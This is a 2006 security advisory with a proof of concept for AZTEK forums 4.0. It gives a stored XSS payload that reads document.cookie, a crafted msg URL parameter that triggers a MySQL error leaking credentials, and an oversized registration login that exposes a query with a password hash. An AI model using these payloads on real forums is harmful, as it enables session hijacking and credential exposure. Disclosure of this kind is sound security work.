AZTEK forums 4.0 multiple vulnerabilities (PoC)

2006.03.05
Credit: lorenzo
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

/*==========================================*/ // AZTEK forums 4.0 multiple vulnerabilities (PoC) // Product: AZTEK forums // URL: http://www.forum-aztek.com/ // RISK: high /*==========================================*/ [PoC] 1- XSS - Post a message including the following line: </textarea>'"><script>alert(document.cookie)</script> - Valid. - Click on "Citer" to execute the script. You can also do it with the edit button (after loging in). 2- Do the following request : http://SOME_HOST/forum/index.php?msg=*/* It will dump a MySQL error message which can dump login:pw infos. 3- - Register with : login : 6b 66 73 6a 64 61 20 54 50 68 70 45 72 72 6f 72 45 78 63 65 70 74 69 6f 6e 0d 0a 44 65 73 63 72 69 70 74 69 6f 6e 0d 0a 5b 57 61 72 6e 69 6e 67 5d 20 6d 79 73 71 6c 5f 63 6f 6e 6e 65 63 74 28 29 20 5b 3c 61 20 68 72 65 66 3d 27 66 75 [...a huge login name...] 6e 63 74 69 6f 6e 2e 6d 79 73 71 6c 2d 63 6f 6e 6e 65 63 74 27 3e 66 75 6e 63 74 69 6f 6e 2e 6d 79 73 71 6c 2d 63 6f 6e passwd:blabla email:blabla (at) gmail (dot) com [email concealed] - Valid. This form is not validated at all, so it can cause a MySQL error like : Mysql error in file /home/httpd/vhosts/www.**********.com/web/forum/index/actions.php in function subscribe at line 222 Mysql query error : INSERT INTO atk_users (login,owner,passwd,email,show_email,alert_mp,subscribe) VALUES ('6b 66 73 6a 64 61 20 54 50 68 [...]','admin','atHax4CLQE42Q','blabla (at) gmail (dot) com [email concealed]','1','1','1141202540') Please note this error and contact your administrator. -- PoC by lorenzo [GHT], http://ght.c.la/


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